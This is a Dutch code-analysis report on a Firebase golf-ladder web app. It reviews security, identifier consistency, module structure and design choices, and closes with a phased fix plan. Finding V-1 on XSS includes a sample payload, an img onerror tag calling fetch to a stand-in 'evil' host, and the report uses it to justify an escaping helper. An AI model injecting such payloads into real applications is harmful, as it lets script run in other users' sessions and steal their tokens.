

Goyer Golf MP Ladder — Code Analyse v2.9.6

Datum: 17 april 2026 **Scope:** volledige codebase na voltooide v2→v3 refactor (fase 1-8) **Doel:** structureel inzicht in veiligheid, consistentie, structuur en ontwerpkeuzes, met geprioriteerd verbeterplan.

1. Samenvatting in één alinea

De refactor heeft het kernprobleem opgelost — `spelers/{uid}` is nu de bron van waarheid, login werkt via Firebase uid en de oude "drie databronnen"-bug is weg. Maar de dual-write naar `ladders.spelers[]` en `ladder/spelers` is nog steeds overal aanwezig en de code schakelt voortdurend tussen uid (string) en numeric id. Dat is technische schuld die nu expliciet afgelost moet worden, want zolang beide formats naast elkaar bestaan blijft er ruimte voor subtiele bugs zoals die met de checkboxes in ladder-beheer. Verder zijn er enkele concrete veiligheidsissues (innerHTML met user-input, security rules die te veel toestaan) en een paar structuurpunten (auth.js te groot, cyclische imports). Niets is blokkerend voor productie — de app werkt — maar er is een duidelijke lijst met verbeteringen die in 2-3 fases weg te werken zijn.

2. Per dimensie

2.1 Veiligheid

Bevinding V-1 — XSS via spelersnamen (HOOG)

Op ~50 plekken in de code wordt `s.naam` direct in een template-literal geplakt en als `innerHTML` gezet. `admin.js` heeft 14 innerHTML-aanroepen, `toernooi.js` 24, `partij.js` 15. Alle user-input uit `spelers/{uid}.naam`, `email`, en baan-namen gaat ongeescapet de DOM in.

Voorbeeld (`admin.js:90`):

```
js
<div style="font-weight:600">${naam}</div>
```

Als een beheerder een speler met naam `<img onerror=fetch('https://evil')>` aanmaakt, voert elke andere gebruiker die JS uit zodra ze de admin-pagina openen. Of een speler die zichzelf registreert met een script-tag in zijn naam.

Risico: Omdat alleen ingelogde gebruikers namen kunnen zetten en de app intern is (bekende club-leden), is het risico beperkt — maar niet nul. Een speler met kwade intenties kan sessietokens stelen of de Firestore namens een beheerder manipuleren.

Fix: Een `esc(str)` helper die `<>&"'` vervangt, en overal gebruiken waar user-content in HTML gaat. ~2 uur werk.

Bevinding V-2 — Security rules zijn deels te ruim (MIDDEL)

- `match /ladder/{doc}`: `allow write: if isIngelogd()` — elke ingelogde speler kan `ladder/archief`, `ladder/uitdagingen`, `ladder/ladderVolgorde` overschrijven. Hoort alleen coordinator.
- `match /toernooien/{doc}`: `allow read: if true` — publieke read is bewust voor live meekijken, maar de hele collectie is open, inclusief gast-emails en interne namen. Een `toernooien/{id}/live` subcollectie met alleen scores zou beter zijn.
- `match /uitslagen/{doc}`: `allow read, write: if isIngelogd()` — elke speler kan andermans uitslagen overschrijven.
- `match /snapshots/{doc}`: coordinator-only write is goed, maar read is voor iedere speler — is dat gewenst?

Fix: Rules verfijnen per doc-type. ~1 uur.

Bevinding V-3 — Firebase API key in bron (LAAG)

`config.js` bevat de Firebase `apiKey` openlijk. Dit is voor Firebase-clients normaal en niet per se een probleem (de key identificeert het project, autorisatie loopt via Auth+Rules), maar het is geen bescherming tegen quota-misbruik of scraping via de Firestore REST API. Domain-restrictions in Firebase Console → Project Settings → API keys zijn aan te raden.

Fix: HTTP referrer restriction toevoegen op de API key. 5 min.

Bevinding V-4 — Geen rate limiting op registratie (LAAG)

De invite flow accepteert onbeperkt registraties met dezelfde invite-link. `gebruik`-teller wordt alleen voor beheerder zichtbaar, niet gebruikt als limiet. Iemand met een geldige invite kan willekeurig veel accounts aanmaken.

Fix: In security rules een max-gebruik op invite zetten, of `heeftGeldigeInvite()` uitbreiden met een teller-check. ~30 min.

Bevinding V-5 — `handleiding-partij-ronde.html` en `toernooi-live.html` staan los

Deze pagina's zijn 702 en 348 regels. Vermoedelijk hebben die eigen Firebase config, eigen state-handling. Niet doorgelezen in deze analyse — verdient aparte review.

2.2 Consistentie

Bevinding C-1 — Dual identifier hell (HOOG)

De codebase gebruikt voor dezelfde speler **drie** identifiers door elkaar:

- `uid` (string, Firebase Auth) — primary in nieuwe code
- `id` (numeric, 1, 2, 3...) — in `spelers[]`, `state.spelers`, `alleSpelersData`

- `gebruikersnaam` / `naam` (string) — fallback in oude code

Grep-resultaten:

- `js/admin.js`: 98 keer `spelerId` of `uid`
- `js/partij.js`: 46 keer
- `js/toernooi.js`: 38 keer
- `js/ladder.js`: 23 keer

Op meerdere plekken staat code als:

```
js
if (uid && (l.spelerIds || []).includes(uid)) return true;
return (l.spelers || []).some(s => spelerId
  ? String(s.id) === String(spelerId)
  : s.naam.toLowerCase() === gebruikersnaam);
```

Drie fallback-niveaus voor één check. Dit is *exact* het soort fragiliteit waar de refactor van af wilde, nu nog aanwezig als legacy-safety-net. Het werkt, maar elke nieuwe feature voegt mentale belasting toe.

Verder: `spelerIds[]` bevat soms strings (uids), soms numbers (legacy ids). Zie `beheer.js` oude versie die numeric schreef, `auth.js/registreerSpeler` schrijft strings. Vóór v2.9.6 liep dit compleet door elkaar. Nu consistent, maar oude documenten kunnen nog gemengd zijn.

Fix: Fase 9 — dual-write uitschakelen.

Bevinding C-2 — `alleSpelersData` bestaat nog (MIDDEL)

De legacy `ladder/spelers` master list wordt nog steeds geladen, geluisterd, en bij elke nieuwe speler dubbel geschreven. Sinds fase 2 is `spelers/` de bron, maar deze schaduw-lijst hangt er nog omheen voor backward compat. Het leidt tot drie synchronisatie-plekken: `spelers/{uid}`, `alleSpelersData`, en `ladders.spelers[]`.

Fix: Fase 9 — `alleSpelersData` vervangen door een afgeleide view van `_usersCache`.

Bevinding C-3 — Error handling is niet uniform

`try/catch` counts per file variëren. Sommige catch-blocks loggen én tonen een toast, andere alleen `console.error`, andere zijn leeg. Een gebruiker ziet bij mislukkingen soms niets, soms een generieke "Er is iets misgegaan", soms een specifieke melding.

Geen enkele catch-block logt naar een externe service. Als een speler op z'n telefoon een fout krijgt, weet jij dat niet.

Fix: Een centrale `handleFout(waar, err, toastMsg)` helper. ~2 uur.

2.3 Structuur

Bevinding S-1 — auth.js is te groot en doet te veel (MIDDEL)

`auth.js` = 853 regels. Verantwoordelijkheden:

- Login/logout/registratie
- Firestore init
- Live listeners opzetten
- Invite-link generatie
- `getUsers()`, `saveUsers()`, `getLadderData()`, `getNextId()` — helpers die andere modules importeren
- `toast()`, `laadUitdagingen()` — compleet onverwant

Dit is geen auth-module meer, het is een junk-drawer.

Fix: Splitsen in `auth.js` (login/logout/registratie), `firestore.js` (init + helpers + listeners), `invite.js` (invite flow), `ui-utils.js` (toast). ~4 uur.

Bevinding S-2 — Cyclische imports (MIDDEL)

`auth.js` importeert `renderLadder` uit `ladder.js`, `renderAdmin` uit `admin.js`, `renderRonde` uit `ronde.js`, `renderToernooi` uit `toernooi.js`, `renderUitslagen` uit `uitslagen.js`. Al die modules importeren `toast`, `getUsers`, etc. uit `auth.js`.

Bundlers lossen dit vaak op, maar in native ES modules (wat hier draait) leidt het soms tot `undefined` imports bij circulair gebruik. Op dit moment werkt het omdat alle renders async aangeroepen worden ná module-init, maar het is breekbaar.

Fix: Event-bus pattern. `auth.js` emit `'loggedIn'`, `'stateChanged'`, en de renders luisteren daarop. Grote refactor, ~1 dag.

Bevinding S-3 — `store.js` setter-proxy pattern is een workaround (LAAG)

Omdat ES modules geen reassignment van geïmporteerde `let` bindings toestaan, is er een object `store` met setters voor elke let-variabele. Werkt, maar je hebt nu twee manieren om dezelfde state te lezen: de directe import (`state`, `huidigeBruiker`) en `store.state`, `store.huidigeBruiker`. In de code staat dit door elkaar en is er geen conventie.

Fix: Of consequent alles via `store.*` lezen én schrijven, of een echte reactive state-container (nanostores, valtio). ~halve dag.

Bevinding S-4 — `toernooi.js` is 1672 regels (MIDDEL)

Alles in één file: setup, flights, scorecard, matrix, ranglijst, afsluiten, archief. Navigeren is lastig.

Fix: Splitsen in `toernooi-setup.js`, `toernooi-spelers.js` (flights), `toernooi-scorecard.js`, `toernooi-afsluiten.js`. ~halve dag.

Bevinding S-5 — 150+ `window.*` assignments in `app.js` (LAAG)

Alle `onclick` handlers in de HTML-bestanden roepen global functies aan via `window.foo = foo`. Werkt, maar maakt refactoring lastig omdat je niet snel kunt zien waar iets wordt aangeroepen (geen import-graph).

Fix: Event delegation op `document` met `data-action` attributen. Grote refactor, ~2 dagen, valt in de categorie "als we toch bezig zijn".

2.4 Ontwerpkeuzes

Bevinding O-1 — Live listeners schaal-overwegingen (MIDDEL)

Bij login starten er nu:

- 1 listener per ladder (actieve + alle andere, momenteel 4 dus 4 listeners)
- 1 listener op `ladder/spelers` (legacy master)
- 1 listener op `spelers/` collectie (14 docs)
- 1 listener per actief toernooi

Elke speler-write triggert drie listeners. Met 70 spelers en 4 ladders is dat ruim te doen voor Firestore's free tier, maar bij 500 spelers en 10 ladders wordt het schaaltechnisch duur — elke document read telt.

Fix: De `ladder/spelers` listener kan verdwijnen zodra `alleSpelersData` vervangen is door `_usersCache` (C-2).

Bevinding O-2 — `spelers[].hcp` wordt op drie plaatsen bijgehouden (MIDDEL)

Zelfde handicap staat in:

- `spelers/{uid}.hcp` — nieuwe bron
- `ladders/{id}.spelers[].hcp` — legacy in elke ladder
- `ladder/spelers.lijst[].hcp` — legacy master

`slaProfielHcpOp` in `admin.js` updates alle drie. Als één faalt (rechten, netwerk) raakt het uit sync.

Fix: Hcp alleen in `spelers/{uid}`. Andere modules lezen via `_usersCache` / `getUsers()`. Onderdeel van fase 9.

Bevinding O-3 — `ladders.spelers[]` bevat operationele state, niet configuratie (HOOG)

Deze array bevat `rank`, `partijen`, `gewonnen` — dat is competitie-resultaat. Maar óók `naam`, `hcp` — dat is speler-identiteit die duplicaat is van `spelers/{uid}`.

Na migratie zou de opzet moeten zijn:

- `ladders/{id}.spelerIds[]` — wie doet mee
- `ladders/{id}/standen/{uid}` — rank + stats per speler per ladder (bestaat al!)
- `spelers/{uid}` — identiteit

`ladders.spelers[]` moet verdwijnen. `standen/{uid}` is al aangemaakt door fase 1, maar **nog nergens actief gelezen** — alle modules lezen nog `ladders.spelers[]`. Deze subcollectie is momenteel dode code.

Fix: Fase 9 — `spelers[]` uitfaseren, alle reads routeren naar `standen/{uid}`.

Bevinding O-4 — Dynamic imports voor side-app (LAAG)

`admin.js` doet `await import("firebase-auth.js")` om een secundaire Firebase-app te maken die een nieuw account aanmaakt zonder de beheerder uit te loggen. Werkt, maar is fragiel en moeilijk testbaar. In productie veroorzaakt elke dynamic import een extra network round-trip.

Fix: Top-level import van deze functies hergebruiken, en de secundaire app-instantie buiten de handler cachen. ~1 uur.

Bevinding O-5 — Geen tests (HOOG, maar geaccepteerd)

Geen enkele automated test. Handmatige fase 7-checklist doet het werk. Voor een app die competitie-data beheert is dat lang vol te houden totdat een regressie de ranking ineens verkeerd berekent.

Fix: Op z'n minst unit tests voor `kortNaamMap`, `berekenTPunten`, hcp-berekeningen, `verwerkKnockoutVoortgang`. Vitest of een browser-based test setup. ~1 dag voor de basis.

Bevinding O-6 — PWA service worker mist API-requests (MIDDEL)

`sw.js` cached alleen statics. Firestore requests gaan rauw naar het netwerk. Offline werkt de app niet — geen ladder te zien, geen scores in te voeren. Firebase heeft een offline persistence optie (`enableIndexedDbPersistence`) die nu niet aan staat.

Fix: `enableIndexedDbPersistence(db)` aanzetten in `config.js`. 1 regel, groot gewin voor mobiel.

2.5 Operationeel (bonus)

- **Observability:** Je ziet fouten alleen als je zelf de console opent. Sentry of een simpele Firestore log-collection (`errors/{id}`) zou waardevol zijn. ~2 uur.
- **Data recovery:** Snapshots bestaan (fase 7 checklist). Niet duidelijk of ze automatisch draaien of handmatig. Als Firestore corrupt raakt is er geen point-in-time recovery zonder Blaze plan.

- **Versie-informatie:** Version staat nu op login-scherm. Goed. `sw.js` cache version moet handmatig gebumpte worden — foutgevoelig. Kan met een build-step of git pre-commit hook.
-

3. Geprioriteerd stappenplan

Blokkerend voor v3.0 eindkwaliteit — binnen 2 weken

Fase 9 — Dual-write opruimen (2-3 dagen) Doel: echte single source of truth voor spelers.

- `alleSpelersData` vervangen door afgeleide van `_usersCache`
- `ladders.spelers[]` uitfaseren: migrate existing data naar `standen/{uid}` subcollectie, alle reads daarheen verleggen
- `spelerIds[]` wordt de enige speler-lidmaatschap-lijst per ladder
- Legacy `ladder/spelers` document verwijderen
- Fallback naam-matching overal verwijderen, alleen uid-check overhouden

Dit lost ook C-1, C-2, O-2, O-3 in één keer op.

Fase 10 — Veiligheidspatches (1 dag)

- `esc(str)` helper en alle innerHTML met user-input omzetten (V-1)
- Security rules verfijnen per doc-type (V-2)
- HTTP referrer restriction op API key (V-3)
- Invite-teller als limiet (V-4)

Belangrijk — binnen 1-2 maanden

Fase 11 — Structuur (2-3 dagen)

- `auth.js` splitsen in 3-4 modules (S-1)
- `toernooi.js` splitsen in 3-4 modules (S-4)
- Error handling uniform via één `handleFout()` helper (C-3)
- Review `handleiding-partij-ronde.html` en `toernooi-live.html` (V-5)

Fase 12 — Operationeel (1 dag)

- Firebase offline persistence aan (O-6)
- Basic error logging naar `errors/` collectie (operationeel-1)
- Auto-snapshot weekly (operationeel-2)

Nice-to-have — als er tijd is

Fase 13 — Testen (1-2 dagen)

- Vitest setup, unit tests voor pure logica: hcp-berekeningen, punten, knockout-bracket, kortNaamMap (O-5)

Fase 14 — Architectuur (2-3 dagen)

- Event-bus voor render-dispatch, cyclische imports weg (S-2)
 - Echte state-container overwegen (S-3)
 - Event delegation ipv window.* globals (S-5)
 - Dynamic imports voor side-app opruimen (O-4)
-

4. Concrete aanbeveling

Doe **Fase 9 + 10 nu**. Dat is 3-4 dagen werk en lost de resterende technische schuld van de refactor op én de concrete veiligheidszorgen. Daarna is v3.0 daadwerkelijk schoon en kun je met een gerust hart nieuwe features bouwen.

Fase 11-14 zijn kwaliteitsverbeteringen die handig zijn maar niet urgent. Spreid over de komende maanden als je er iets nieuws bouwt — "boy scout rule": laat de plek waar je bent altijd iets schoner achter dan je hem vond.

Meest urgent in één zin: los de dual-identifieer-spaghetti op met fase 9, want zolang die er is wordt elke bug die je krijgt moeilijker te debuggen.